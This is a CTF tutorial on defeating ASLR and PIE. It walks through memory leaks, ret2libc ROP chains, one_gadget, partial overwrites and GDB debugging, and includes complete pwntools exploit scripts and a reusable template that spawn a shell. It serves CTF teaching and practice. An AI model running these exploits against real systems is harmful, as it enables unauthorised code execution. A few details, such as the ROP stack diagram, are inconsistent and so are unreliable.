April 13, 2026

Bypassing ASLR and PIE in CTF Binary Exploitation (picoCTF Guide)

A deep-dive guide to bypassing ASLR and PIE in CTF binary exploitation: memory leak techniques, ret2libc, ROP chains, one_gadget, partial overwrites, and real pwntools scripts - with picoCTF challenge links throughout.

Introduction

You find a buffer overflow. You know the offset. You pack a beautiful payload. You hit enter and get Segmentation fault. Every. Single. Time. Welcome to ASLR and PIE - the two mitigations that turn a trivial overflow into a multi-step exploit.

ASLR (Address Space Layout Randomization) randomizes where the stack, heap, and shared libraries land in memory at every run. PIE (Position-Independent Executable) extends this to the binary itself. Together they mean you cannot hardcode any address - the address of system(), the address of /bin/sh, even the address of the win() function you found in Ghidra - all change every execution.

This guide teaches you exactly how to break through both of them. You will learn to read checksec output, leak runtime addresses, build ret2libc ROP chains, use one_gadget, and handle the 64-bit stack alignment trap that silently kills otherwise correct exploits. Every technique is demonstrated with real pwntools code, not pseudocode.

This guide assumes you already understand basic stack buffer overflows. If you need that foundation first, read the Buffer Overflow guide before continuing here.

Format string leakMedium

When: Binary has printf(user_input) - leak libc or PIE address

puts/printf libc leakMedium

When: Binary calls puts/printf - use GOT entry to leak libc base

ret2libc ROP chainMedium

When: NX enabled, ASLR present - call system('/bin/sh') via ROP

PIE partial overwriteHard

When: PIE enabled, 32-bit or predictable last byte - brute force bottom 12 bits

one_gadgetEasy

When: libc base known - single gadget spawns shell, no ROP chain needed

Binary-provided leakEasy

When: The binary prints an address - compute base from known offset

What is ASLR?

ASLR is a kernel-level defense that randomizes the load addresses of memory regions each time a program runs. Before ASLR, every run of the same binary loaded libc at the same address, so an attacker could hardcode system()'s address into a payload. With ASLR, libc loads at a different base address on each execution, making hardcoded addresses useless.

What gets randomized

ASLR randomizes the starting addresses of three memory regions:

# Memory map of a running process (simplified)
[stack] 0x7fff???????? 0000 <- randomized each run
[heap] 0x55?????????? <- randomized each run
libc.so.6 0x7f?????????? <- randomized each run
ld-linux.so 0x7f?????????? <- randomized each run
# Note: the binary's own code (text segment) is NOT randomized
# by ASLR alone - that requires PIE (see next section)

Checking ASLR on the system

The kernel exposes ASLR settings through /proc/sys/kernel/randomize_va_space:

cat /proc/sys/kernel/randomize_va_space
# 0 = ASLR disabled (no randomization)
# 1 = partial (stack, VDSO randomized; heap and mmap at fixed offset)
# 2 = full ASLR (default on modern Linux - stack, heap, libs, mmap all random)
# Temporarily disable ASLR for debugging (your own machine only):
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
# Or disable just for one process with setarch:
setarch $(uname -m) -R ./binary

How random is it really?

On a 64-bit Linux system, ASLR randomizes approximately 28 bits of the stack and library base addresses, and about 12-28 bits of the heap. This is enough to make blind brute-force impractical. However, the randomization is applied in units of pages (4096 bytes), so the lowest 12 bits of any address are always zero and never randomized. This matters for the partial overwrite technique described later.

Key insight: ASLR only randomizes the base of each region. Once you know any single address inside a region (a leak), you know the base of the entire region because the offsets between symbols within a library are fixed at compile time.

What is PIE?

PIE stands for Position-Independent Executable. A PIE binary is compiled so that it can run at any load address, not just the fixed address it was linked at. When both ASLR and PIE are active, the binary's own code segment gets a random base address, just like shared libraries.

Without PIE, the binary's text segment always loads at a fixed address (typically 0x400000 on x86-64). With PIE enabled, it loads somewhere random like 0x55a3f1b42000. The win() function that Ghidra shows at offset 0x1234 is now at 0x55a3f1b42000 + 0x1234 = 0x55a3f1b43234, which you cannot know without a leak.

PIE vs. ASLR: what is the difference?

# Without PIE (ASLR on, PIE off):
Binary text: 0x400000 (fixed - you can read this from objdump)
Binary data: 0x601000 (fixed)
libc: 0x7f???????? (random - need a leak)
# With PIE (ASLR on, PIE on):
Binary text: 0x5??????????0 (random - need a leak)
Binary data: 0x5??????????0 (random)
libc: 0x7f???????? (random - need a separate or combined leak)

How PIE binary addresses work

A PIE binary is essentially a shared library for its own code. Ghidra and objdump show addresses relative to the binary's load base (usually starting at 0x0000 in the disassembly). At runtime, the kernel chooses a random base (aligned to a 4096-byte page), and every address in the binary is that base plus the offset you see in the disassembler.

# In Ghidra/objdump you see:
0x00001234 <win>: push rbp
# At runtime (PIE enabled):
binary_base = 0x555555554000 # chosen by kernel, different each run
win_at_runtime = binary_base + 0x1234 = 0x555555555234
# Once you have a single leak from the binary's text segment:
# e.g., you leaked 0x555555555678 which is at offset 0x1678 in the binary
binary_base = leaked_addr - 0x1678
win_addr = binary_base + 0x1234

Identifying PIE from checksec

Run checksec --file=./binary and look for PIE enabled or PIE disabled. When disabled, addresses you find in objdump are the actual runtime addresses. When enabled, they are only offsets from an unknown base.

NX / DEP: non-executable stack

NX (No-eXecute) - also called DEP (Data Execution Prevention) on Windows - marks the stack and heap as non-executable memory. When NX is enabled, the CPU will refuse to execute code that lives in these regions, raising a fault instead.

This kills the classic shellcode-injection attack where you wrote execveshellcode into a stack buffer and jumped to it. With NX, jumping to the stack just crashes the process.

Why NX leads to ret2libc

NX prevents injecting new code, but it does not prevent reusing code that already exists in executable memory. The libc shared library, which is always mapped as executable, contains system() and a string /bin/sh. You do not need to inject shellcode - you can chain together existing executable code fragments (gadgets) to call system("/bin/sh"). This is the heart of both ret2libc and the broader ROP (Return-Oriented Programming) technique.

# NX enabled - shellcode injection fails:
payload = b'A' * 44 + shellcode_addr # CRASH: stack is not executable
# NX enabled - ret2libc works because system() lives in executable libc:
payload = b'A' * 44 + p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr)
# ^^^ Every address here points into executable memory - NX does not block this
Remember: NX is almost always enabled in CTF challenges (and real binaries). Assume shellcode injection will not work unless checksec explicitly shows NX disabled. The standard approach with NX enabled is ret2libc via a ROP chain.

Reading checksec output

checksec is the first tool you run on every new CTF binary. It reports which security mitigations are compiled in, which tells you exactly which attack paths are available.

Install and run

# Install (comes with pwntools, or standalone)
pip install pwntools
sudo apt install checksec
# Run on a binary
checksec --file=./vuln
# Or directly from pwntools in your script
from pwn import *
elf = ELF('./vuln') # prints checksec output automatically

Example: PIE-enabled binary

Here is real checksec output for a PIE-enabled binary with NX and full RELRO:

$ checksec --file=./pie_challenge
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

What each field means for your exploit

FieldValueImpact on exploit
RELROFullGOT is read-only - cannot overwrite GOT entries for arbitrary write
RELROPartialGOT is writable - overwriting GOT entries is a valid technique
StackCanary foundMust leak or brute-force the canary before overwriting return address
StackNo canary foundOverflow the return address directly with no canary obstacle
NXNX enabledStack is not executable - must use ret2libc or ROP instead of shellcode
NXNX disabledStack is executable - shellcode injection works
PIEPIE enabledBinary loads at random base - need a leak from the binary's text segment
PIEPIE disabledBinary always loads at fixed address (e.g., 0x400000) - no leak needed

Practical decision flow from checksec

PIE disabled, NX disabled -> ret2win or shellcode injection
PIE disabled, NX enabled -> ret2libc without needing a PIE leak
(binary addresses still hardcoded)
PIE enabled, NX disabled -> leak PIE base, then jump to shellcode on stack
PIE enabled, NX enabled -> leak PIE base AND libc base, then ret2libc
(most common CTF scenario)
Canary found -> add a canary leak step before any of the above

Memory leak techniques

A memory leak is any mechanism that reveals a runtime address to you. Once you have one runtime address from a region, you can compute every other address in that region because the offsets between symbols are fixed.

1. Format string leaks

If the binary passes user input directly to printf, you can use format specifiers to read stack values as pointers. The stack almost always contains return addresses from previous calls - these point into the binary's text segment or into libc, giving you both a PIE leak and a libc leak at the same time.

# Send a chain of %p to dump stack pointers
python3 -c "print('%p.%p.%p.%p.%p.%p.%p.%p.%p.%p')" | ./binary
# Output: 0x1.(nil).0x7f3a1b2c3d4e.0x55a3f1b43234.0x1.0x3...
# ^^^ libc addr ^^^ PIE addr
# Target a specific stack offset with positional argument:
python3 -c "print('%6$p')" | ./binary # prints the 6th pointer-sized value",
# In pwntools, automate by sending then parsing:
p.sendline(b'%p.' * 20)
leaks = p.recvline().decode().split('.')
# Look for addresses in the 0x55... range (PIE) or 0x7f... range (libc)

For a complete walkthrough of format string vulnerabilities, see the Format String guide.

2. puts/printf libc leak via GOT

If you can call puts() or printf()with an argument you control, you can pass it the address of a GOT entry. The GOT (Global Offset Table) stores the resolved runtime address of each libc function the binary calls. Printing a GOT entry leaks that function's runtime address in libc, from which you can compute the libc base.

# The GOT entry for puts() stores the runtime address of puts in libc.
# If we can call puts(got['puts']), the program will print those 8 bytes.
from pwn import *
elf = ELF('./binary')
libc = ELF('./libc.so.6') # same libc as remote - see pwntools section
rop = ROP(elf)
# Step 1: leak puts() address by calling puts(got['puts'])
# For x86-64: first argument goes in rdi, so we need a pop rdi ; ret gadget
pop_rdi = rop.rdi.address
offset = 44 # bytes to reach return address (find this with cyclic)
# First payload: leak, then return to main to get another overflow
payload = b'A' * offset
payload += p64(pop_rdi)
payload += p64(elf.got['puts']) # argument: address of puts GOT entry
payload += p64(elf.plt['puts']) # call puts() - prints the GOT entry
payload += p64(elf.symbols['main']) # loop back to main for round 2
p.sendlineafter(b'Input: ', payload)
# Parse the leak
leaked_puts = u64(p.recvline().strip().ljust(8, b'\x00'))
libc_base = leaked_puts - libc.symbols['puts']
log.success(f'libc base: {hex(libc_base)}')

3. Binary-provided leak (gift leak)

Many picoCTF challenges helpfully print an address for you. The PIE TIME challenge literally prints the address of a function. This is a gift - parse it and compute your base immediately.

# Binary prints something like: 'Here is your gift: 0x55a3f1b43234'
p.recvuntil(b'0x')
leaked_addr = int(p.recvline().strip(), 16)
# If you know the leaked address is the 'main' function:
binary_base = leaked_addr - elf.symbols['main']
# Now rebase the ELF object so all symbols are correct
elf.address = binary_base
win_addr = elf.symbols['win'] # automatically rebased

4. GOT dereferencing

Even without a format string vulnerability, if you can control a pointer that gets passed to puts() or write(), passing a GOT address leaks the libc runtime address of any function the binary has already called.

# Identify GOT entries for functions the binary calls:
objdump -d ./binary | grep -A2 '@plt'
# or in pwntools:
print(elf.got) # {'puts': 0x601018, 'printf': 0x601020, ...}
# After leaking:
leaked_puts = <parse from output>
libc_base = leaked_puts - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
Tip: When you receive a leak, sanity-check it before proceeding. A libc address on a 64-bit system typically starts with 0x7f. A PIE binary address typically starts with 0x55 or 0x56. If your parsed leak looks wrong, you may be off by a null byte - try ljust(8, b'\x00') when unpacking with u64().

ret2libc: calling system('/bin/sh')

ret2libc is the go-to exploit when NX is enabled and you have (or can obtain) a libc address leak. Instead of injecting shellcode, you build a ROP chain that callssystem("/bin/sh") using code that already exists in the executable libc library.

What you need

1. The runtime address of system() <- derived from libc base + symbol offset
2. The runtime address of '/bin/sh' <- a string that exists inside libc
3. A 'pop rdi ; ret' gadget <- to put '/bin/sh' in rdi (first argument)
4. (64-bit only) A 'ret' gadget <- for stack alignment before system()
# In pwntools, once you know libc_base:
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))

Complete two-stage exploit

Stage 1 leaks the libc base. Stage 2 uses it to call system("/bin/sh"). The binary returns to main() at the end of stage 1 so you get a second overflow to deliver the final payload.

from pwn import *
# Setup
elf = context.binary = ELF('./vuln')
libc = ELF('./libc.so.6') # match with remote libc (see pwntools section)
rop = ROP(elf)
p = process('./vuln') # or remote('host', port)
OFFSET = 40 # bytes of padding before return address
# ---- STAGE 1: leak libc base ----------------------------------------
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret_addr = rop.find_gadget(['ret'])[0]
stage1 = b'A' * OFFSET
stage1 += p64(pop_rdi)
stage1 += p64(elf.got['puts']) # arg: puts GOT entry (a libc ptr)
stage1 += p64(elf.plt['puts']) # call puts() -> prints 8 bytes of libc
stage1 += p64(elf.symbols['main']) # return to main for stage 2
p.sendlineafter(b'Input: ', stage1)
# Parse the 8-byte leak (puts null-terminates, so strip and pad)
line = p.recvline().strip()
leaked_puts = u64(line.ljust(8, b'\x00'))
libc_base = leaked_puts - libc.symbols['puts']
log.success(f'libc base @ {hex(libc_base)}')
# Rebase libc symbols
libc.address = libc_base
system_addr = libc.symbols['system']
bin_sh_addr = next(libc.search(b'/bin/sh'))
log.success(f'system @ {hex(system_addr)}')
log.success(f'/bin/sh @ {hex(bin_sh_addr)}')
# ---- STAGE 2: call system('/bin/sh') --------------------------------
stage2 = b'A' * OFFSET
stage2 += p64(ret_addr) # alignment gadget (64-bit requirement)
stage2 += p64(pop_rdi)
stage2 += p64(bin_sh_addr) # rdi = '/bin/sh'
stage2 += p64(system_addr) # call system()
p.sendlineafter(b'Input: ', stage2)
p.interactive() # you have a shell

The 64-bit stack alignment issue

This is the most common reason a correct ret2libc exploit gets a Segmentation fault even when the offset and addresses are right.

On x86-64, the System V ABI requires the stack pointer (rsp) to be aligned to a 16-byte boundary at the point of a call instruction. Some libc functions (particularly system() on newer glibc, and any function using SSE/AVX instructions) will crash with a misaligned stack.

# Why this happens:
# Each ret instruction pops 8 bytes off the stack.
# If the stack was 16-byte aligned before your overflow, adding an odd
# number of 8-byte values in your ROP chain misaligns it by 8 bytes.
# The fix: add an extra 'ret' gadget in your chain.
# 'ret' just pops and discards the next 8 bytes, re-aligning the stack.
# WRONG (crashes inside system):
stage2 = b'A' * OFFSET
stage2 += p64(pop_rdi)
stage2 += p64(bin_sh_addr)
stage2 += p64(system_addr)
# RIGHT (aligned):
ret_gadget = rop.find_gadget(['ret'])[0]
stage2 = b'A' * OFFSET
stage2 += p64(ret_gadget) # extra ret for alignment
stage2 += p64(pop_rdi)
stage2 += p64(bin_sh_addr)
stage2 += p64(system_addr)
# Rule of thumb: if you segfault INSIDE system() (not at the ret),
# add or remove one 'ret' gadget to fix alignment.
GDB trick: To diagnose alignment, run under GDB with ASLR disabled (set disable-randomization on), break at the start of system(), and check the value of rsp. If rsp % 16 != 0, you are misaligned. Add one ret gadget to your chain.

For the foundational buffer overflow knowledge that ret2libc builds on, see the Buffer Overflow guide.

pwntools workflow for ASLR/PIE

pwntools is the standard Python exploitation library for CTF. These are the specific patterns you need for ASLR/PIE bypasses, beyond the basics.

ELF and rebasing

from pwn import *
# Load binary and libc
elf = context.binary = ELF('./vuln') # sets context.arch automatically
libc = ELF('./libc.so.6')
# After you receive a leak and compute bases:
elf.address = binary_base # rebase - all elf.symbols now give runtime addrs
libc.address = libc_base # rebase - all libc.symbols now give runtime addrs
# pwntools ROP object uses these bases automatically after rebasing:
rop = ROP([elf, libc])
rop.find_gadget(['pop rdi', 'ret'])

Finding the overflow offset with cyclic

# Step 1: generate a cyclic pattern and send it to the binary
python3 -c "from pwn import *; print(cyclic(200).decode())" | ./vuln
# The binary crashes. Note the value in RIP/RSP.
# Step 2: find the offset
python3 -c "from pwn import *; print(cyclic_find(0x6161616c))" # -> 44
# Or let GDB print it for you (run under GDB, then):
# (gdb) info registers rsp
# rsp 0x7fff... -> read the 4 bytes at rsp
# (gdb) x/wx $rsp
# -> 0x6161616c (cyclic pattern)
# python3 -c "from pwn import *; print(cyclic_find(0x6161616c))"

Finding the right libc version

The libc offset from base to system() varies between versions. Getting the wrong libc means wrong offsets and a crash. Two tools help:

# Option 1: libc database - provide leaked function addresses
# Visit https://libc.blukat.me or use the CLI tool:
pip install libc-database
libc-database find puts 0x7f...abc0 # finds matching libc version
# Option 2: pwntools libc database (searches local cache)
from pwnlib.libcdb import search_by_symbol_offsets
# Option 3: download the remote libc
# Many challenges provide the libc.so.6 as a download attachment.
# If not, and you can read /proc/self/maps, grep for the libc path
# and exfiltrate it, or use 'ldd ./binary' to see which libc is linked.
# Verify your libc match by checking multiple function offsets:
print(hex(libc.symbols['puts'])) # should match what you leaked
print(hex(libc.symbols['printf'])) # cross-check a second function

pwntools struct packing

p64(addr) # pack as 8-byte little-endian (x86-64)
p32(addr) # pack as 4-byte little-endian (x86)
u64(data) # unpack 8 bytes to integer
u32(data) # unpack 4 bytes to integer
# flat() for building payloads inline:
payload = flat(
b'A' * 44,
ret_gadget, # alignment
pop_rdi, # gadget address
bin_sh_addr, # '/bin/sh' string
system_addr, # system()
)

Process interaction patterns

p = process('./vuln') # local
p = remote('host', 1337) # remote
# Sending
p.send(payload) # raw send
p.sendline(payload) # send + b'\n'
p.sendlineafter(b'> ', payload) # wait for prompt, then send
# Receiving
p.recvline() # receive until newline
p.recvuntil(b'0x') # receive until marker, discard marker
p.recv(8) # receive exactly 8 bytes
line = p.recvline().strip() # strip trailing whitespace/newlines
# Parsing leaks
leaked = int(p.recvline().strip(), 16) # if printed as hex
leaked = u64(p.recv(8)) # if printed as raw bytes
leaked = u64(p.recvline().strip().ljust(8, b'\x00')) # if truncated at null
# Hand off to interactive terminal (after shell)
p.interactive()

PIE partial overwrite

When PIE is enabled but you cannot trigger a clean memory leak, there is another option: the partial overwrite. Because ASLR randomizes in units of pages (4096 bytes), the lowest 12 bits of any address are always zero and are never randomized. On a 64-bit system, the lowest 3 nibbles (hex digits) of an address are fixed.

How it works on 32-bit / 16-bit overwrite scenarios

# PIE binary, function at offset 0x1234 within the page
# At runtime, the binary might load at:
# 0x55555554000, 0x56789ab4000, 0x5600abc4000, ...
# But the last 12 bits (3 hex digits) of the function address
# are ALWAYS 0x234 (from the 0x1234 offset into the page)
# If you overwrite only the last 2 bytes of the return address
# (by overflowing just 2 bytes beyond the buffer), you can
# target the low 16 bits of the address:
# Example: return address on stack is 0x55a3f1b4319a (current instruction)
# You want to jump to 0x55a3f1b43234 (win function at offset 0x1234)
# Last 2 bytes differ: 0x19a -> 0x234
# But the top nibble of the 2nd byte is still random (4-bit brute force):
# Brute force the 4 random bits (16 attempts on average)
for guess in range(16):
two_byte_overwrite = (guess << 12) | 0x234
payload = b'A' * offset + p16(two_byte_overwrite)
# send and check if you got a shell

When partial overwrite applies

Applies when:
- You can overflow the return address by 1 or 2 bytes only
- OR you are on a 32-bit system (only 8-12 bits of ASLR randomness)
- OR a NULL byte constraint limits your overwrite length
Does NOT apply when:
- You need to jump to a function in a different page offset
- The overflow is full-length and you can write the full address
(in which case, just do a proper leak first)
Success rate:
- 1-byte overwrite: deterministic (no brute force needed)
- 2-byte overwrite: 1/16 chance (4 random bits) - fast to brute force
- 3-byte overwrite: 1/4096 chance - usually too slow for CTF
Warning: Partial overwrite brute-forcing only works when the challenge allows repeated connection attempts. Remote CTF challenges usually do. If the service forks a new process per connection (rather than exec-ing), ASLR is re-randomized each connection, so your brute force is valid.

one_gadget: single-gadget shell

Once you have the libc base address, the simplest way to get a shell is often a "magic gadget" - a single address in libc that, when jumped to, executes execve("/bin/sh", NULL, NULL) without any additional setup. The one_gadget tool finds these for you.

Install and run

# Install (requires Ruby)
gem install one_gadget
# Find magic gadgets in a libc
one_gadget ./libc.so.6
# Example output:
0x4f2c5 execve('/bin/sh', rsp+0x70, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f322 execve('/bin/sh', rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL || rsp+0x70 is a valid argv
0x10a38c execve('/bin/sh', rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL || rsp+0x70 is a valid argv

Using one_gadget in your exploit

from pwn import *
libc = ELF('./libc.so.6')
# ... (leak libc base, set libc.address = libc_base)
# One_gadget offset found by running 'one_gadget ./libc.so.6'
ONE_GADGET_OFFSET = 0x4f2c5
one_gadget = libc.address + ONE_GADGET_OFFSET
# Your ROP chain is now just a single address - no pop rdi, no /bin/sh
payload = b'A' * OFFSET + p64(one_gadget)
p.sendlineafter(b'Input: ', payload)
p.interactive()

What if the constraints are not met?

Each one_gadget comes with constraints (registers or stack values that must be NULL or point to valid memory). If the first gadget in the list does not work, try the others. If none work, fall back to the full ret2libc ROP chain.

# Try each gadget offset from one_gadget output:
GADGETS = [0x4f2c5, 0x4f322, 0x10a38c]
for offset in GADGETS:
one_gadget = libc_base + offset
payload = b'A' * OFFSET + p64(one_gadget)
p = remote('host', 1337)
p.sendlineafter(b'Input: ', payload)
try:
p.sendline(b'id')
result = p.recvline(timeout=1)
if b'uid=' in result:
log.success(f'one_gadget 0x{offset:x} worked!')
p.interactive()
break
except:
log.warning(f'Gadget 0x{offset:x} failed, trying next...')
p.close()

ROP gadgets: what they are and how to find them

A gadget is a short sequence of instructions that already exists in the binary or a loaded library, ending with a ret instruction. By chaining gadgets together - each one returning into the next - you can build arbitrary computations out of code that is already executable, bypassing NX completely.

This technique is called ROP (Return-Oriented Programming). The most common gadgets you need for ret2libc are:

pop rdi ; ret <- puts the next value from the stack into rdi (1st argument)
pop rsi ; ret <- 2nd argument
pop rdx ; ret <- 3rd argument
ret <- does nothing except pop rsp (used for alignment)
leave ; ret <- adjusts the stack frame (used in advanced ROP)

Finding gadgets with ROPgadget

# Install
pip install ROPgadget
# Find all gadgets in a binary
ROPgadget --binary ./vuln
# Search for a specific gadget
ROPgadget --binary ./vuln --re 'pop rdi'
# Output:
# 0x00000000004011c3 : pop rdi ; ret
# Search in libc too
ROPgadget --binary ./libc.so.6 --re 'pop rdi'
# Find a plain 'ret' gadget for alignment
ROPgadget --binary ./vuln --re '^ret$'

Finding gadgets with pwntools ROP

from pwn import *
elf = ELF('./vuln')
rop = ROP(elf)
# pwntools searches the binary for you
pop_rdi = rop.rdi.address # finds 'pop rdi ; ret'
pop_rsi = rop.rsi.address # finds 'pop rsi ; ret'
ret = rop.ret.address # finds a plain 'ret'
# Or search manually:
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
# Use with libc too:
libc_rop = ROP(libc)
pop_rdi_libc = libc_rop.rdi.address

How a ROP chain executes

# Stack layout after overflowing the return address:
# (stack grows downward, lower addresses at top)
RSP -> [ pop rdi ; ret ] <- CPU jumps here (ret from vulnerable function)
[ /bin/sh address ] <- 'pop rdi' pops this into rdi, then 'ret' fires
[ ret gadget ] <- alignment gadget, immediately returns again
[ system address ] <- 'ret' from alignment gadget jumps here
(system is now called with rdi = /bin/sh - shell spawns)

For a deeper look at GDB techniques for building and debugging ROP chains, see the GDB CTF Guide.

GDB workflow: find offset, confirm overflow

GDB is essential for developing ASLR/PIE exploits locally before attacking the remote service. Here is the exact sequence of GDB commands you need.

Install GDB with pwndbg (highly recommended)

# pwndbg adds CTF-specific commands: cyclic, vmmap, checksec, telescope
git clone https://github.com/pwndbg/pwndbg
cd pwndbg && ./setup.sh

Step 1: disable ASLR for local testing

# Inside GDB:
(gdb) set disable-randomization on # pwndbg does this by default
# Or system-wide (your own machine only):
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Step 2: find the overflow offset

# Generate a cyclic pattern
(gdb) run $(python3 -c "from pwn import *; print(cyclic(200).decode())")
# After crash, check where RSP points
(gdb) x/wx $rsp
# 0x7fffffffdc98: 0x6161616c
# Back in shell, find the offset:
python3 -c "from pwn import *; print(cyclic_find(0x6161616c))"
# -> 44
# Alternatively with pwndbg:
(gdb) run <<< $(python3 -c "from pwn import *; sys.stdout.buffer.write(cyclic(200))")
(gdb) cyclic -l $rsp # pwndbg command - prints offset directly

Step 3: find function addresses

# In GDB, find win function address:
(gdb) info functions win
(gdb) p &win
(gdb) disas win
# Find where libc is loaded:
(gdb) info proc mappings
# or with pwndbg:
(gdb) vmmap
# Shows all loaded regions with addresses - note the libc base
# Find system() and /bin/sh in libc:
(gdb) p system
(gdb) find &system, +9999999, '/bin/sh'

Step 4: confirm your ROP chain

# Set a breakpoint on the return of the vulnerable function
(gdb) break *vuln+123 # address of the 'ret' instruction
# Send your payload and step through
(gdb) run < payload.bin
(gdb) ni # step one instruction (ret)
(gdb) info registers rip # check RIP jumped to your gadget
(gdb) ni # step: pop rdi
(gdb) info registers rdi # check rdi = /bin/sh address
(gdb) ni # step: ret
(gdb) ni # step into system()
# Check stack alignment before system():
(gdb) p $rsp % 16 # must be 0 for proper alignment

Step 5: confirm with PIE enabled

# With PIE enabled, addresses change each run even under GDB
# unless you disable ASLR. Once ASLR is off, PIE loads at the same base.
# After disabling randomization in GDB:
(gdb) run
(gdb) info proc mappings
# Binary always loads at same base - addresses are now reproducible
# To find the binary base:
(gdb) info files
# or
(gdb) p &_start
Debugging segfaults: When you get a segfault in your exploit, the first thing to check is where it crashes. If it crashes at the ret of the vulnerable function, your offset is wrong or the address you wrote is invalid. If it crashes inside system(), it is almost always a stack alignment problem - add a ret gadget.

picoCTF challenges

These picoCTF challenges directly apply the techniques in this guide. They are ordered from simplest leak to full ret2libc.

PIE TIME (2025)

PIE is enabled. The binary helpfully prints the address of main() at startup - a gift leak. Parse it, compute the binary base, add the offset to the win function, and return there. Perfect first PIE challenge.

PIE TIME 2 (2025)

Builds on PIE TIME. No gift leak this time - you must construct the leak yourself using the overflow. Requires understanding how to turn a controlled read or format string into a useful address.

format string 3 (2024)

Format string vulnerability with PIE and ASLR enabled. Use a format string read to leak a libc address from the stack, compute the libc base, then overwrite a GOT entry or return address to call system().

high frequency troubles (2024)

A more involved binary exploitation challenge requiring ASLR/PIE bypass combined with building a functional ROP chain to reach a shell. Apply the full two-stage leak and exploit pattern from this guide.

Study path: Start with PIE TIME (gift leak, no ROP needed). Then PIE TIME 2 (construct your own leak). Then format string 3 (format string as the leak primitive). Then high frequency troubles (full ret2libc with no hints). This progression builds each skill on the last.

Quick reference

Use this as your checklist when you pick up a new binary exploitation challenge.

Scenario decision table

ScenarioTechniqueKey tool
Binary prints an address at startupParse and compute binary_baseelf.address = leaked - offset
Format string vulnerability (printf(input))%p chain to leak stack addresses%p.%p.%p or %N$p
Overflow + PIE + NX, can call puts()puts(got['puts']) to leak libcpop rdi + GOT entry + PLT puts
libc base known, want minimal ROPone_gadget - single address shellone_gadget ./libc.so.6
libc base known, one_gadget failsret2libc: pop rdi + /bin/sh + systemROPgadget + pwntools ROP
Segfault inside system() but ROP looks rightStack alignment - add a ret gadgetrop.ret.address
PIE, no leak, can only overwrite 2 bytesPartial overwrite + 1/16 brute forcep16(guess << 12 | offset)
Unknown libc versionLeak 2+ function addrs, query libc DBlibc.blukat.me or libc-database
Don't know overflow offsetSend cyclic pattern, check RSP in GDBcyclic(200) + cyclic_find()

Essential tools

pwntools

Process interaction, struct packing, ELF loading, ROP chain building, libc search. The core exploitation library.

pip install pwntools

checksec

Reports all binary mitigations. Run this first on every challenge binary.

checksec --file=./binary

ROPgadget

Finds all ROP gadgets in a binary or library. Search for specific instruction sequences with --re.

pip install ROPgadget
ROPgadget --binary ./libc.so.6 --re 'pop rdi'

one_gadget

Finds magic gadgets in libc that call execve('/bin/sh') in a single jump. Requires Ruby.

gem install one_gadget
one_gadget ./libc.so.6

pwndbg

GDB plugin for CTF. Adds vmmap, telescope, cyclic, checksec directly inside GDB.

git clone https://github.com/pwndbg/pwndbg && cd pwndbg && ./setup.sh

libc-database

Identify the remote libc version from leaked function addresses. Essential when the challenge doesn't provide the libc binary.

# Visit https://libc.blukat.me
# or: pip install libc-database

Quick exploit template

from pwn import *
elf = context.binary = ELF('./vuln')
libc = ELF('./libc.so.6')
rop = ROP(elf)
p = process('./vuln') # switch to remote() for submission
OFFSET = ??? # find with cyclic
# -- STAGE 1: leak --
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]
stage1 = flat(b'A' * OFFSET,
pop_rdi, elf.got['puts'],
elf.plt['puts'],
elf.symbols['main'])
p.sendlineafter(b'Input: ', stage1)
leaked_puts = u64(p.recvline().strip().ljust(8, b'\x00'))
libc.address = leaked_puts - libc.symbols['puts']
log.success(f'libc @ {hex(libc.address)}')
# -- STAGE 2: shell --
system = libc.symbols['system']
bin_sh = next(libc.search(b'/bin/sh'))
stage2 = flat(b'A' * OFFSET,
ret, # alignment
pop_rdi, bin_sh,
system)
p.sendlineafter(b'Input: ', stage2)
p.interactive()